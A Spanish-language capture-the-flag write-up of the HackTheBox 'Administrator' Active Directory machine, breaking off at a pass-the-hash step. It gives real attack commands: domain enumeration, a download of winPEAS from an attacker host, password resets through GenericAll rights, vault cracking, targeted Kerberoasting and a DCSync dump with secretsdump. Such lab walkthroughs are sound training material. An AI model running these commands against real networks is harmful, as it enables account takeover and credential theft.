← Volver a writeups

Administrator

Medium · Active Directory · 2026-05-29


Información de la máquina

CampoDetalle
PlataformaHackTheBox
Sistema operativoWindows
DificultadMedia
CategoríaActive Directory
Fecha—

Información de la máquina

Como es habitual en las pruebas de penetración de Windows reales, iniciarás la ventana de administrador con las credenciales de la siguiente cuenta: Nombre de usuario: Olivia Contraseña: ichliebedich

Reconocimiento

Domain gathering

sudo netexec smb <IP> -u "" -p ""

Lo añadimos a /etc/hosts:

10.129.9.86     administrator.htb DC.administrator.htb DC

Nmap TCP

Escaneo TCP

sudo nmap 10.129.9.86  -p- --open -sS --min-rate 500 -vvv -n -Pn

Tenemos bastantes puertos normales dentro de un dc.

Kerbrute

./kerbrute_linux_amd64 userenum --dc 10.129.9.86 -d administrator.htb 

Vemos que nos va generando usuarios poco a poco, vamos a seguir enumerando y de no encontrar nada volveremos a este punto.

Rpc Enumeration

Acceso RPC con credenciales

rpcclient -U "Olivia%ichliebedich" 10.129.9.86

Tenemos una lista de usuarios enumerados existentes, lo pasamos a una lista de usuarios formateados:

Smb Enumeration

Enumeración SMB con credenciales

 

Tenemos permisos de lectura sobre IPC$ por lo que podemos enumerar users con ridd-brute:

Tenemos la misma lista de usuarios. (de normal es asi ya que sacan la info del mismo sitio)

Ldap Enumeration

Enumeración LDAP con credenciales

ldapsearch -x -H ldap://<ip> -D '<domain>@<username>' -w '<password>' -b 'DC=<domain>,DC=<TLD>'
ldapsearch -x -H ldap://10.129.9.86 -D 'olivia@administrator.htb' -w 'ichliebedich' -b 'DC=administrator,DC=htb'

Hay mucha info por ahora seguimos con la enumeración y de no encontrar nada volvemos a este punto.

Kerberoasting

impacket-GetUserSPNs DOMAIN/USERNAME:PASSWORD -request

No encuentra nada.

ASREProast

impacket-GetNPUsers dominio.com/ -no-pass -usersfile users.txt

No encuentra nada.

Tras no ver nada, veo que tengo permisos para acceder a la maquina:

Vamos a enumerar primero localmente con winpeas y luego bloodhound de ser necesario:

iwr -uri http://10.10.14.80:80/winPEASx64.exe -Outfile winpeas.exe

Tras no encontrar nada, voy a ver si encuentro algo con bloodhound:

bloodhound-python -u 'olivia' -p 'ichliebedich' -d administrator.htb -ns 10.129.9.86 -c All

No encunetra ningun path para ir a domain admin con olivia:

Buscando, veo que tengo permisos genericall sobre michael:

GenericAll sobre Michael → cambiarle la contraseña:

net rpc password "michael" "Password123!" -U "administrator.htb/olivia%ichliebedich" -S 10.129.12.18

Vemos que no hay nada interesante:

Miramos en bloodhound y nos envontramos con lo siguiente:

Mismo proceso:

net rpc password "benjamin" "Password123!" -U "administrator.htb/michael%Password123!" -S 10.129.12.18

No nos deja, en caso que no nos deje, siempre podemos mirar si está dentro del grupo de conexiones remotas:

En este caso, podemos ver que no está.

Tras estar buscando un buen rato, nos damos cuenta que no hay nada a nivel ad que podamos hacer, por lo que si volvemos a la enumeración nmap nos encontramos con el puerto ftp abierto, por lo que si nos logueamos con benjamin:

Un archivo con extensión .psafe3 es una base de datos cifrada de contraseñas utilizada principalmente por la aplicación de código abierto Password Safe

Detalles clave:

Crackeamos la password con pwsafe2john:

Instalación pwsafe

sudo apt install passwordsafe -y

Si no está en los repos, alternativa con Python:

pip install pysafe --break-system-packages

# Luego leer el vault
python3 -c "
import pysafe
db = pysafe.read('Backup.psafe3', 'MASTER_PASSWORD_AQUI')
for entry in db:
    print(entry)
"

O con pwsafe standalone:

sudo apt install pwsafe -y
pwsafe -f Backup.psafe3

Una vez lo abres y pones la password:

Nos encontramos con 3 usuarios, por lo que podemos probar si alguno de los usuarios usa la misma password que el archivo:

No lo es, viendo la base de datos, podemos copiar las contraseñas, por lo que nos creamos un diccionario con usuarios y otro con contraseñas:

Al lanzarlo vemos que tenemos una credencial:

emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

Como tenemos una cuenta mas, podemos probar a entrar via evil-winrm:

Ya tenemos acceso a la cuenta, ahora que tenemos otro usuario, vamos a ver si encontramos algo en bloodhound:

Vemos que tenemos una via potencial de ataque para llegar a ser domain admin.

Ataque Kerberoast dirigido

Se puede realizar un ataque Kerberoast dirigido con targetedKerberoast.py.

python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

La herramienta intentará automáticamente un ataque Kerberoast dirigido, ya sea contra todos los usuarios o contra uno específico si se especifica en la línea de comandos, y obtendrá un hash descifrable. La limpieza también se realiza automáticamente.

El hash recuperado se puede descifrar sin conexión con la herramienta que prefiera.

Nos falla por KRB_AP_ERR_SKEW

Por lo que seteamos la hora a la misma:

sudo net time set -S 10.129.13.72

y relanzamos el comando:

Lo pasamos a un archivo y lo crackeamos:

john hash2 --wordlist=/usr/share/wordlists/rockyou.txt

Ya tenemos la cuenta de ethan:

ethan:limpbizkit

Si seguimos con bloodhound vemos lo siguiente:

impacket-secretsdump  'administrator.htb'/'ethan':'limpbizkit'@'10.129.13.72'

Aplicamos PtH: